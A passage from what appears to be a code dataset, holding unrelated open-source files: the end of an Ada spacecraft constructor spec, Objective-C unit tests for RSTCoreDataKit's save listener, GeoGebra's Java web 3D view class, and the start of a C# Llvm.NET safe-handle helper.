return Satellite\n with\n Pre => (Satellite_Params_Valid(Time, Revolutions, Altitude));\nprivate\n function Satellite_Params_Valid(Time: DKTime; Revolutions: DKFloat; Altitude: DKFloat) return Boolean is\n (Revolutions * 2.0 * Pi * Altitude < DKFloat'Last and then (Revolutions * 2.0 * Pi * Altitude) / Time < DKFloat'Last);\nend Spacecraft.Ctors;\n"} {"text": "//\n// Rosetta Stone\n// http://product.rosettastone.com/news/\n//\n//\n// Documentation\n// http://cocoadocs.org/docsets/RSTCoreDataKit\n//\n//\n// GitHub\n// https://github.com/rosettastone/RSTCoreDataKit\n//\n//\n// License\n// Copyright (c) 2014 Rosetta Stone\n// Released under a BSD license: http://opensource.org/licenses/BSD-3-Clause\n//\n\n#import \"RSTCoreDataKitTestCase.h\"\n\n\n@interface RSTCoreDataContextDidSaveListenerTests : RSTCoreDataKitTestCase\n\n@end\n\n\n@implementation RSTCoreDataContextDidSaveListenerTests\n\n- (void)testContextDidSaveListener\n{\n XCTestExpectation *expection = [self expectationWithDescription:[NSString stringWithFormat:@\"%s\", __PRETTY_FUNCTION__]];\n\n // GIVEN: a new context save listener\n RSTCoreDataContextDidSaveListener *listener = [[RSTCoreDataContextDidSaveListener alloc] initWithHandler:^(NSNotification *notification) {\n XCTAssertEqualObjects(notification.name, NSManagedObjectContextDidSaveNotification, @\"Should receive expected notification\");\n [expection fulfill];\n } forManagedObjectContext:nil];\n\n XCTAssertNotNil(listener);\n\n // WHEN: the context did save notification is posted\n [[NSNotificationCenter defaultCenter] postNotificationName:NSManagedObjectContextDidSaveNotification object:nil];\n\n // THEN: our handler block is called without an error\n [self waitForExpectationsWithTimeout:5 handler:^(NSError *error) {\n XCTAssertNil(error, @\"Expectation should not error\");\n }];\n}\n\n- (void)testContextDidSaveListenerForSpecificContext\n{\n XCTestExpectation *expection = [self expectationWithDescription:[NSString stringWithFormat:@\"%s\", __PRETTY_FUNCTION__]];\n\n // GIVEN: a new context save listener and context\n NSManagedObjectContext *context = self.testStack.managedObjectContext;\n\n RSTCoreDataContextDidSaveListener *listener = [[RSTCoreDataContextDidSaveListener alloc] initWithHandler:^(NSNotification *notification) {\n XCTAssertEqualObjects(notification.name, NSManagedObjectContextDidSaveNotification, @\"Should receive expected notification\");\n [expection fulfill];\n } forManagedObjectContext:context];\n\n XCTAssertNotNil(listener);\n\n // WHEN: the specified context is changed and saved\n [self insertFakeEmployee];\n\n [RSTCoreDataContextSaver saveAndWait:context];\n\n // THEN: our handler block is called without an error\n [self waitForExpectationsWithTimeout:5 handler:^(NSError *error) {\n XCTAssertNil(error, @\"Expectation should not error\");\n }];\n}\n\n- (void)testContextDidSaveListenerForOtherNonregisteredContext\n{\n // GIVEN: a new context save listener and 2 different contexts\n NSManagedObjectContext *mainContext = self.testStack.managedObjectContext;\n NSManagedObjectContext *childContext = [self.testStack newDefaultMainChildContext];\n\n __block BOOL handlerCalled = NO;\n\n RSTCoreDataContextDidSaveListener *listenerForChildContext = [[RSTCoreDataContextDidSaveListener alloc] initWithHandler:^(NSNotification *notification) {\n handlerCalled = YES;\n } forManagedObjectContext:childContext];\n\n XCTAssertNotNil(listenerForChildContext);\n\n // WHEN: a context is changed and saved that is NOT registered with the listener\n [self insertFakeEmployee];\n \n [RSTCoreDataContextSaver saveAndWait:mainContext];\n\n // THEN: our handler block is NOT called\n XCTAssertFalse(handlerCalled);\n}\n\n@end\n"} {"text": "package org.geogebra.web.geogebra3D.web.euclidian3D;\r\n\r\nimport org.geogebra.common.awt.GDimension;\r\nimport org.geogebra.common.awt.GFont;\r\nimport org.geogebra.common.awt.GGraphics2D;\r\nimport org.geogebra.common.awt.GPoint;\r\nimport org.geogebra.common.euclidian.CoordSystemAnimation;\r\nimport org.geogebra.common.euclidian.EuclidianController;\r\nimport org.geogebra.common.euclidian.EuclidianStyleBar;\r\nimport org.geogebra.common.euclidian.EuclidianView;\r\nimport org.geogebra.common.euclidian.ScreenReaderAdapter;\r\nimport org.geogebra.common.geogebra3D.euclidian3D.EuclidianController3D;\r\nimport org.geogebra.common.geogebra3D.euclidian3D.EuclidianView3D;\r\nimport org.geogebra.common.geogebra3D.euclidian3D.openGL.Renderer;\r\nimport org.geogebra.common.geogebra3D.euclidian3D.printer3D.Format;\r\nimport org.geogebra.common.io.MyXMLio;\r\nimport org.geogebra.common.kernel.geos.GeoElement;\r\nimport org.geogebra.common.kernel.geos.GeoText;\r\nimport org.geogebra.common.main.App.ExportType;\r\nimport org.geogebra.common.main.settings.EuclidianSettings;\r\nimport org.geogebra.common.util.DoubleUtil;\r\nimport org.geogebra.common.util.debug.GeoGebraProfiler;\r\nimport org.geogebra.common.util.debug.Log;\r\nimport org.geogebra.web.geogebra3D.web.euclidian3D.openGL.RendererWInterface;\r\nimport org.geogebra.web.geogebra3D.web.euclidian3D.openGL.RendererWithImplW;\r\nimport org.geogebra.web.geogebra3D.web.euclidian3DnoWebGL.RendererWnoWebGL;\r\nimport org.geogebra.web.html5.Browser;\r\nimport org.geogebra.web.html5.awt.GGraphics2DW;\r\nimport org.geogebra.web.html5.euclidian.EuclidianPanelWAbstract;\r\nimport org.geogebra.web.html5.euclidian.EuclidianViewW;\r\nimport org.geogebra.web.html5.euclidian.EuclidianViewWInterface;\r\nimport org.geogebra.web.html5.euclidian.GGraphics2DE;\r\nimport org.geogebra.web.html5.euclidian.GGraphics2DWI;\r\nimport org.geogebra.web.html5.euclidian.IsEuclidianController;\r\nimport org.geogebra.web.html5.euclidian.MyEuclidianViewPanel;\r\nimport org.geogebra.web.html5.euclidian.PointerEventHandler;\r\nimport org.geogebra.web.html5.euclidian.ReaderWidget;\r\nimport org.geogebra.web.html5.gui.util.CancelEventTimer;\r\nimport org.geogebra.web.html5.main.AppW;\r\nimport org.geogebra.web.html5.main.GgbFile;\r\nimport org.geogebra.web.html5.main.TimerSystemW;\r\n\r\nimport com.google.gwt.animation.client.AnimationScheduler;\r\nimport com.google.gwt.animation.client.AnimationScheduler.AnimationCallback;\r\nimport com.google.gwt.canvas.client.Canvas;\r\nimport com.google.gwt.canvas.dom.client.Context2d;\r\nimport com.google.gwt.dom.client.Element;\r\nimport com.google.gwt.dom.client.Style;\r\nimport com.google.gwt.event.dom.client.GestureChangeEvent;\r\nimport com.google.gwt.event.dom.client.GestureEndEvent;\r\nimport com.google.gwt.event.dom.client.GestureStartEvent;\r\nimport com.google.gwt.event.dom.client.MouseDownEvent;\r\nimport com.google.gwt.event.dom.client.MouseMoveEvent;\r\nimport com.google.gwt.event.dom.client.MouseOutEvent;\r\nimport com.google.gwt.event.dom.client.MouseOverEvent;\r\nimport com.google.gwt.event.dom.client.MouseUpEvent;\r\nimport com.google.gwt.event.dom.client.MouseWheelEvent;\r\nimport com.google.gwt.event.dom.client.TouchCancelEvent;\r\nimport com.google.gwt.event.dom.client.TouchEndEvent;\r\nimport com.google.gwt.event.dom.client.TouchMoveEvent;\r\nimport com.google.gwt.event.dom.client.TouchStartEvent;\r\nimport com.google.gwt.user.client.Window;\r\nimport com.google.gwt.user.client.ui.RequiresResize;\r\nimport com.google.gwt.user.client.ui.Widget;\r\n\r\n/**\r\n * 3D view\r\n * \r\n * @author mathieu\r\n *\r\n */\r\npublic class EuclidianView3DW extends EuclidianView3D implements\r\n\t\tEuclidianViewWInterface {\r\n\r\n\tprivate EuclidianPanelWAbstract evPanel;\r\n\r\n\t/** graphics */\r\n\tprivate GGraphics2DWI g2p = null;\r\n\r\n\tprivate AnimationScheduler repaintScheduler = AnimationScheduler.get();\r\n\tprivate long lastRepaint;\r\n\tprivate int waitForRepaint = TimerSystemW.SLEEPING_FLAG;\r\n\tprivate int objectsWaitingForNewRepaint = 0;\r\n\r\n\tprivate boolean readyToRender = false;\r\n\r\n\tprivate ReaderWidget screenReader;\r\n\r\n\tprivate AppW appW = (AppW) super.app;\r\n\r\n\t/**\r\n\t * constructor\r\n\t * \r\n\t * @param ec\r\n\t * euclidian controller\r\n\t * @param settings\r\n\t * euclidian settings\r\n\t */\r\n\tpublic EuclidianView3DW(EuclidianController3D ec, EuclidianSettings settings) {\r\n\t\tsuper(ec, settings);\r\n\t\tinitBaseComponents(evPanel, ec);\r\n\r\n\t\tgetRenderer().init();\r\n\t\tinitAriaDefaults();\r\n\t}\r\n\r\n\tprivate void initBaseComponents(EuclidianPanelWAbstract euclidianViewPanel,\r\n\t EuclidianController euclidiancontroller) {\r\n\r\n\t\tCanvas canvas = euclidianViewPanel.getCanvas();\r\n\t\tsetEvNo();\r\n\t\tif (canvas != null) {\r\n\t\t\tthis.g2p = new GGraphics2DW(canvas);\r\n\t\t} else {\r\n\t\t\tthis.g2p = new GGraphics2DE();\r\n\t\t}\r\n\r\n\t\tupdateFonts();\r\n\t\tinitView(true);\r\n\t\tattachView();\r\n\r\n\t\teuclidiancontroller.setView(this);\r\n\r\n\t\tregisterKeyHandlers(canvas);\r\n\t\tregisterMouseTouchGestureHandlers(euclidianViewPanel,\r\n\t\t (EuclidianController3DW) euclidiancontroller);\r\n\r\n\t\tEuclidianSettings es = this.app.getSettings().getEuclidian(3);\r\n\t\tsettingsChanged(es);\r\n\t\tes.addListener(this);\r\n\t\taddScreenReader();\r\n\t}\r\n\r\n\tprivate void initAriaDefaults() {\r\n\t\tElement elem = g2p.getElement();\r\n\t\tif (elem != null) {\r\n\t\t\telem.setAttribute(\"role\", \"figure\");\r\n\t\t\telem.setAttribute(\"aria-label\", \"3D View\");\r\n\t\t}\r\n\t}\r\n\r\n\tprivate void setEvNo() {\r\n\t\tthis.evNo = EVNO_3D;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setEuclidianViewNo(int evNo) {\r\n\t\tthis.evNo = evNo;\r\n\t\t// this.g2p.getCanvas().getElement().setId(\"View_\"+App.VIEW_EUCLIDIAN3D);\r\n\t}\r\n\r\n\tprivate void registerKeyHandlers(Canvas canvas) {\r\n\t\tif (canvas == null) {\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tnew EuclidianKeyHandler3DW((AppW) app).listenTo(canvas);\r\n\t}\r\n\r\n\tprivate void registerMouseTouchGestureHandlers(\r\n\t EuclidianPanelWAbstract euclidianViewPanel,\r\n\t EuclidianController3DW euclidiancontroller) {\r\n\t\tWidget absPanel = euclidianViewPanel.getAbsolutePanel();\r\n\t\tabsPanel.addDomHandler(euclidiancontroller, MouseWheelEvent.getType());\r\n\r\n\t\tif (Browser.supportsPointerEvents()) {\r\n\t\t\tPointerEventHandler pointerHandler = new PointerEventHandler(\r\n\t\t\t\t\t(IsEuclidianController) euclidianController,\r\n\t\t\t\t\teuclidiancontroller.getOffsets());\r\n\t\t\tPointerEventHandler.attachTo(absPanel.getElement(), pointerHandler);\r\n\t\t\tCancelEventTimer.killTouch(absPanel);\r\n\t\t} else {\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller,\r\n\t\t\t\t\tMouseMoveEvent.getType());\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller,\r\n\t\t\t\t\tMouseOverEvent.getType());\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller, MouseOutEvent.getType());\r\n\t\t\tif (((AppW) app).getLAF() == null\r\n\t\t\t\t\t|| !((AppW) app).getLAF().isSmart()) {\r\n\t\t\t\tabsPanel.addDomHandler(euclidiancontroller,\r\n\t\t\t\t\t\tMouseDownEvent.getType());\r\n\t\t\t}\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller, MouseUpEvent.getType());\r\n\t\t\tabsPanel.addBitlessDomHandler(euclidiancontroller, TouchStartEvent.getType());\r\n\t\t\tabsPanel.addBitlessDomHandler(euclidiancontroller, TouchEndEvent.getType());\r\n\t\t\tabsPanel.addBitlessDomHandler(euclidiancontroller, TouchMoveEvent.getType());\r\n\t\t\tabsPanel.addBitlessDomHandler(euclidiancontroller, TouchCancelEvent.getType());\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller, GestureStartEvent.getType());\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller, GestureChangeEvent.getType());\r\n\t\t\tabsPanel.addDomHandler(euclidiancontroller, GestureEndEvent.getType());\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * @return panel component\r\n\t */\r\n\tpublic Widget getComponent() {\r\n\t\treturn evPanel.getAbsolutePanel();\r\n\t}\r\n\r\n\t// //////////////////////////////////////////////////////////\r\n\t// MyEuclidianViewPanel\r\n\t// //////////////////////////////////////////////////////////\r\n\r\n\t/**\r\n\t * @return EV panel\r\n\t */\r\n\tprotected MyEuclidianViewPanel newMyEuclidianViewPanel() {\r\n\t\treturn new MyEuclidianViewPanel3D(this);\r\n\t}\r\n\r\n\t/**\r\n\t * panel for 3D\r\n\t * \r\n\t * @author mathieu\r\n\t *\r\n\t */\r\n\tprivate class MyEuclidianViewPanel3D extends MyEuclidianViewPanel implements\r\n\t RequiresResize {\r\n\r\n\t\t/**\r\n\t\t * constructor\r\n\t\t * \r\n\t\t * @param ev\r\n\t\t * euclidian view\r\n\t\t */\r\n\t\tpublic MyEuclidianViewPanel3D(EuclidianView ev) {\r\n\t\t\tsuper(ev);\r\n\t\t}\r\n\r\n\t\t@Override\r\n\t\tprotected Canvas createCanvas() {\r\n\t\t\tRenderer pRenderer = getRenderer();\r\n\t\t\treturn (Canvas) pRenderer.getCanvas();\r\n\t\t}\r\n\r\n\t\t@Override\r\n\t\tpublic void onResize() {\r\n\t\t\tsuper.onResize();\r\n\t\t\tgetEuclidianController().calculateEnvironment();\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * tells the view that all is ready for GL rendering\r\n\t */\r\n\tpublic void setReadyToRender() {\r\n\t\treadyToRender = true;\r\n\t\trepaintView();\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setToolTipText(String plainTooltip) {\r\n\t\t// TODO Auto-generated method stub\r\n\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean hasFocus() {\r\n\t\t// TODO Auto-generated method stub\r\n\t\treturn false;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void requestFocus() {\r\n\t\t// this may be really necessary preventing a tabbing away issue\r\n\t\t// but the reasons of it are not well understood #5158\r\n\t\t// after better understanding, this can probably be merged\r\n\t\t// with the following method (requestFocusInWindow()):\r\n\t\trequestFocusInWindow();\r\n\t}\r\n\r\n\t/**\r\n\t * Gets the coordinate space width of the &lt;canvas&gt;.\r\n\t * \r\n\t * @return the logical width\r\n\t */\r\n\t@Override\r\n\tpublic int getWidth() {\r\n\t\treturn g2p == null ? 0\r\n\t\t\t\t: (int) (this.g2p.getCoordinateSpaceWidth() / getPixelRatio());\r\n\t}\r\n\r\n\t/**\r\n\t * Gets the coordinate space height of the &lt;canvas&gt;.\r\n\t * \r\n\t * @return the logical height\r\n\t */\r\n\t@Override\r\n\tpublic int getHeight() {\r\n\t\treturn g2p == null ? 0\r\n\t\t\t\t: (int) (this.g2p.getCoordinateSpaceHeight() / getPixelRatio());\r\n\t}\r\n\r\n\t@Override\r\n\tpublic final boolean isShowing() {\r\n\t\treturn g2p != null && g2p.getCanvas() != null\r\n\t\t && g2p.getCanvas().isAttached() && g2p.getCanvas().isVisible();\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void createPanel() {\r\n\t\tevPanel = newMyEuclidianViewPanel();\r\n\r\n\t}\r\n\r\n\t@Override\r\n\tprotected Renderer createRenderer() {\r\n\t\tCanvas webGLcanvas = Canvas.createIfSupported();\r\n\t\tif (webGLcanvas == null) {\r\n\t\t\treturn new RendererWnoWebGL(this);\r\n\t\t}\r\n\t\treturn new RendererWithImplW(this, webGLcanvas);\r\n\t}\r\n\r\n\t@Override\r\n\tprotected boolean getShiftDown() {\r\n\t\t// TODO Auto-generated method stub\r\n\t\treturn false;\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void setDefault2DCursor() {\r\n\t\tsetCursorClass(\"cursor_hit\");\r\n\t}\r\n\r\n\t@Override\r\n\tpublic GGraphics2D getTempGraphics2D(GFont fontForGraphics) {\r\n\t\t// TODO Auto-generated method stub\r\n\t\treturn null;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic GFont getFont() {\r\n\t\t// TODO Auto-generated method stub\r\n\t\treturn null;\r\n\t}\r\n\r\n\t@Override\r\n\tfinal protected void setStyleBarMode(int mode) {\r\n\t\tif (hasStyleBar()) {\r\n\t\t\tgetStyleBar().setMode(mode);\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void updateSizeKeepDrawables() {\r\n\t\t// TODO Auto-generated method stub\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean requestFocusInWindow() {\r\n\t\tg2p.getElement().focus();\r\n\t\treturn true;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setPreferredSize(GDimension preferredSize) {\r\n\t\tif (renderer != null) {\r\n\t\t\t((RendererWInterface) renderer).setPixelRatio(getPixelRatio());\r\n\t\t\trenderer.setView(0, 0, preferredSize.getWidth(),\r\n\t\t\t\t\tpreferredSize.getHeight());\r\n\t\t}\r\n\t\tif (g2p != null && g2p.getContext() != null) {\r\n\t\t\tg2p.setPreferredSize(preferredSize);\r\n\r\n\t\t\tupdateSize();\r\n\t\t\tsetReIniting(false);\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic double getPixelRatio() {\r\n\t\treturn ((AppW) app).getPixelRatio();\r\n\t}\r\n\r\n\t@Override\r\n\tprotected CoordSystemAnimation newZoomer() {\r\n\t\t// TODO Auto-generated method stub\r\n\t\treturn null;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void add(Widget box, GPoint position) {\r\n\t\tif (evPanel != null) {\r\n\t\t\tevPanel.getAbsolutePanel().add(box,\r\n\t\t\t\t\tposition.getX(), position.getY());\r\n\t\t}\r\n\t}\r\n\r\n\tprivate void setCursorClass(String className) {\r\n\t\t// IMPORTANT: do nothing if we already have the classname,\r\n\t\t// app.resetCursor is VERY expensive in IE\r\n\t\tCanvas canvas = (Canvas) this.getRenderer().getCanvas();\r\n\t\tif (canvas != null && !canvas.getElement().hasClassName(className)) {\r\n\t\t\t((AppW) this.app).resetCursor();\r\n\t\t\tcanvas.setStyleName(\"\");\r\n\t\t\tcanvas.addStyleName(className);\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setTransparentCursor() {\r\n\t\tsetCursorClass(\"cursor_transparent\");\r\n\t}\r\n\r\n\t@Override\r\n\tprotected EuclidianStyleBar newEuclidianStyleBar() {\r\n\t\treturn new EuclidianStyleBar3DW(this);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic int getAbsoluteTop() {\r\n\t\treturn g2p.getAbsoluteTop();\r\n\t}\r\n\r\n\t@Override\r\n\tpublic int getAbsoluteLeft() {\r\n\t\treturn g2p.getAbsoluteLeft();\r\n\t}\r\n\r\n\t@Override\r\n\tpublic Element getCanvasElement() {\r\n\t\treturn g2p == null ? null : g2p.getElement();\r\n\t}\r\n\r\n\t/**\r\n\t * the file has been set by the App\r\n\t * \r\n\t * @param file\r\n\t * file\r\n\t */\r\n\tpublic void setCurrentFile(GgbFile file) {\r\n\t\t// used only when no webGL\r\n\t}\r\n\r\n\tprivate AnimationCallback repaintCallback = new AnimationCallback() {\r\n\t\t@Override\r\n\t\tpublic void execute(double ts) {\r\n\t\t\tdoRepaint2();\r\n\t\t}\r\n\t};\r\n\r\n\t/**\r\n\t * This doRepaint method should be used instead of repaintView in cases when\r\n\t * the repaint should be done immediately\r\n\t */\r\n\tpublic final void doRepaint2() {\r\n\t\tif (!isParentWindowVisible()) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tlong time = System.currentTimeMillis();\r\n\t\t// ((DrawEquationWeb) this.app.getDrawEquation()).clearLaTeXes(this);\r\n\t\tthis.updateBackgroundIfNecessary();\r\n\r\n\t\t// paint(this.g2p);\r\n\t\tif (readyToRender) {\r\n\t\t\trenderer.drawScene();\r\n\t\t}\r\n\r\n\t\tlastRepaint = System.currentTimeMillis() - time;\r\n\t\tGeoGebraProfiler.addRepaint(lastRepaint);\r\n\r\n\t\tif (objectsWaitingForNewRepaint > 0) {\r\n\t\t\tkernel.notifyControllersMoveIfWaiting();\r\n\t\t\twaitForRepaint = TimerSystemW.EUCLIDIAN_LOOPS;\r\n\t\t\tobjectsWaitingForNewRepaint--;\r\n\t\t} else {\r\n\t\t\twaitForRepaint = TimerSystemW.SLEEPING_FLAG;\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic long getLastRepaintTime() {\r\n\t\treturn lastRepaint;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void repaint() {\r\n\t\tgetApplication().ensureTimerRunning();\r\n\t\tif (waitForRepaint == TimerSystemW.SLEEPING_FLAG) {\r\n\t\t\twaitForRepaint = TimerSystemW.EUCLIDIAN_LOOPS;\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tfinal public void waitForNewRepaint() {\r\n\t\tobjectsWaitingForNewRepaint++;\r\n\t}\r\n\r\n\t/**\r\n\t * schedule a repaint\r\n\t */\r\n\tpublic void doRepaint() {\r\n\t\trepaintScheduler.requestAnimationFrame(repaintCallback);\r\n\t}\r\n\r\n\t/**\r\n\t * timer system suggests a repaint\r\n\t */\r\n\t@Override\r\n\tpublic boolean suggestRepaint() {\r\n\t\tif (waitForRepaint == TimerSystemW.SLEEPING_FLAG) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif (waitForRepaint == TimerSystemW.REPAINT_FLAG) {\r\n\t\t\tif (isShowing()) {\r\n\t\t\t\tdoRepaint();\r\n\t\t\t}\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\twaitForRepaint--;\r\n\t\treturn true;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void exportPaintPre(GGraphics2D g2d, double scale,\r\n\t boolean transparency) {\r\n\t\t// TODO Auto-generated method stub\r\n\r\n\t}\r\n\r\n\t@Override\r\n\tpublic GGraphics2DWI getG2P() {\r\n\t\treturn g2p;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void resetPointerEventHandler() {\r\n\t\t// TODO Auto-generated method stub\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getExportImageDataUrl(double scale, boolean transparent, boolean greyscale) {\r\n\t\treturn getExportImageDataUrl(scale, transparent, ExportType.PNG,\r\n\t\t\t\tgreyscale);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getExportImageDataUrl(double scale, boolean transparent,\r\n\t\t\tExportType format, boolean greyscale) {\r\n\t\t((RendererWInterface) this.renderer).setBuffering(true);\r\n\t\tthis.doRepaint2();\r\n\r\n\t\tString url = ((Canvas) renderer.getCanvas()).toDataUrl(\r\n\t\t\t\tformat == ExportType.WEBP ? \"image/webp\" : \"image/png\");\r\n\t\t((RendererWInterface) this.renderer).setBuffering(false);\r\n\t\treturn url;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getCanvasBase64WithTypeString() {\r\n\t\t((RendererWInterface) this.renderer).setBuffering(true);\r\n\t\tthis.doRepaint2();\r\n\t\tString ret = getCanvasBase64WithTypeString(\r\n\t\t\t\tthis.getWidth(), getHeight());\r\n\t\t((RendererWInterface) this.renderer).setBuffering(false);\r\n\t\treturn ret;\r\n\t}\r\n\r\n\tprivate String getCanvasBase64WithTypeString(double width, double height) {\r\n\t\tCanvas foreground = ((RendererWInterface) this.renderer).getCanvas();\r\n\t\tdouble ratio = width / height;\r\n\t\tdouble thx = MyXMLio.THUMBNAIL_PIXELS_X;\r\n\t\tdouble thy = MyXMLio.THUMBNAIL_PIXELS_Y;\r\n\t\tif (ratio < 1) {\r\n\t\t\tthx *= ratio;\r\n\t\t} else if (ratio > 1) {\r\n\t\t\tthy /= ratio;\r\n\t\t}\r\n\r\n\t\tCanvas canv = Canvas.createIfSupported();\r\n\t\tcanv.setCoordinateSpaceHeight((int) thy);\r\n\t\tcanv.setCoordinateSpaceWidth((int) thx);\r\n\t\tcanv.setWidth((int) thx + \"px\");\r\n\t\tcanv.setHeight((int) thy + \"px\");\r\n\t\tContext2d c2 = canv.getContext2d();\r\n\r\n\t\tc2.drawImage(foreground.getCanvasElement(), 0, 0, (int) thx,\r\n\t\t\t\t(int) thy);\r\n\r\n\t\treturn EuclidianViewW.dataURL(canv, null);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setPixelRatio(double pixelRatio) {\r\n\t\tif (DoubleUtil.isEqual(g2p.getDevicePixelRatio(), pixelRatio)\r\n\t\t\t\t|| pixelRatio == 0) {\r\n\t\t\t// GGB-2355 we shouldn't set ratio to 0; quit fast before we get\r\n\t\t\t// into loop\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tint realWidth = g2p.getOffsetWidth();\r\n\t\tint realHeight = g2p.getOffsetHeight();\r\n\t\tg2p.setDevicePixelRatio(pixelRatio);\r\n\t\tif (realHeight > 0 && realWidth > 0) {\r\n\t\t\t((AppW) app).ggwGraphicsView3DDimChanged(realWidth, realHeight);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * @param width\r\n\t * canvas width\r\n\t * @param height\r\n\t * canvas height\r\n\t */\r\n\tpublic void setCoordinateSpaceSize(int width, int height) {\r\n\r\n\t\t// no transform nor color set since it's a WebGL context\r\n\t\tg2p.setCoordinateSpaceSizeNoTransformNoColor(width, height);\r\n\t\ttry {\r\n\t\t\t// just resizing the AbsolutePanelSmart, not the whole of DockPanel\r\n\t\t\tg2p.getElement().getParentElement().getStyle()\r\n\t\t\t\t\t.setWidth(width, Style.Unit.PX);\r\n\t\t\tg2p.getElement().getParentElement().getStyle()\r\n\t\t\t\t\t.setHeight(height, Style.Unit.PX);\r\n\t\t\tgetEuclidianController().calculateEnvironment();\r\n\t\t} catch (Exception exc) {\r\n\t\t\tLog.debug(\"Problem with the parent element of the canvas\");\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setAltText() {\r\n\t\tString altStr = appW.getLocalization().getMenu(\"GraphicsView3D\");\r\n\t\tGeoElement alt = app.getKernel().lookupLabel(\"altText3D1\");\r\n\t\tif (alt == null) {\r\n\t\t\talt = app.getKernel().lookupLabel(\"altText3D\");\r\n\t\t}\r\n\t\tif (alt == null) {\r\n\t\t\talt = app.getKernel().lookupLabel(\"altText\");\r\n\t\t}\r\n\t\tif (alt instanceof GeoText) {\r\n\t\t\taltStr = ((GeoText) alt).getTextString();\r\n\t\t}\r\n\t\tsetAltText(altStr);\r\n\t}\r\n\r\n\tprivate void setAltText(String text) {\r\n\t\tif (renderer != null && renderer.getCanvas() != null) {\r\n\t\t\t((Canvas) renderer.getCanvas()).getElement().setInnerText(text);\r\n\t\t} else {\r\n\t\t\tg2p.setAltText(text);\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic ScreenReaderAdapter getScreenReader() {\r\n\t\treturn screenReader;\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void drawBackgroundImage(GGraphics2D g2d) {\r\n\t\t// nothing to do here\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void addDynamicStylebarToEV(EuclidianStyleBar dynamicStylebar) {\r\n\t\tif (app.isUnbundled() && ((AppW) app).allowStylebar()) {\r\n\t\t\tif (((Widget) dynamicStylebar).getParent() == null) {\r\n\t\t\t\tappW.getGuiManager().addStylebar(this, dynamicStylebar);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tprotected EuclidianStyleBar newDynamicStyleBar() {\r\n\t\tif (app.isUnbundled() && ((AppW) app).allowStylebar()) {\r\n\t\t\treturn appW.getGuiManager().newDynamicStylebar(this);\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\t\r\n\t@Override\r\n\tpublic void setExport3D(Format format) {\r\n\t\tsuper.setExport3D(format);\r\n\t\trepaint();\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getExportSVG(double scale, boolean transparency) {\r\n\t\treturn \"\";\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getExportPDF(double scale) {\r\n\t\treturn null;\r\n\t}\r\n\r\n\t/**\r\n\t * @return whether the frame we are running in is visible\r\n\t */\r\n\tprivate static boolean isParentWindowVisible() {\r\n\t\treturn Window.getClientWidth() > 0;\r\n\t}\r\n\r\n\tprivate void addScreenReader() {\r\n\t\tscreenReader = new ReaderWidget(evNo, g2p.getElement());\r\n\t\tEuclidianViewW.attachReaderWidget(screenReader, app);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean isAttached() {\r\n\t\treturn g2p != null && g2p.isAttached();\r\n\t}\r\n}\r\n"} {"text": "using System;\r\nusing System.Runtime.ConstrainedExecution;\r\nusing System.Runtime.InteropServices;\r\nusing System.Security;\r\nusing System.Security.Permissions;\r\n\r\nnamespace Llvm.NET.Native\r\n{\r\n internal static class IntPtrExtensions\r\n {\r\n public static bool IsNull( this IntPtr self ) => self == IntPtr.Zero;\r\n public static bool IsNull( this UIntPtr self ) => self == UIntPtr.Zero;\r\n }\r\n\r\n /// <summary>Base class for LLVM disposable types that are instantiated outside of an LLVM <see cref=\"Context\"/> and therefore won't be disposed by the context</summary>\r\n [SecurityCritical]\r\n [SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)]\r\n internal abstract class SafeHandleNullIsInvalid\r\n : SafeHandle\r\n {\r\n [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]\r\n protected SafeHandleNullIsInvalid( bool ownsHandle)\r\n : base( IntPtr.Zero, ownsHandle )\r\n {\r\n }\r\n\r\n public bool IsNull => handle.IsNull();\r\n\r\n public override bool IsInvalid\r\n {\r\n [SecurityCritical]\r\n get\r\n {\r\n return IsNull;\r\n }\r\n }\r\n }\r\n\r\n [SecurityCritical]\r\n internal class 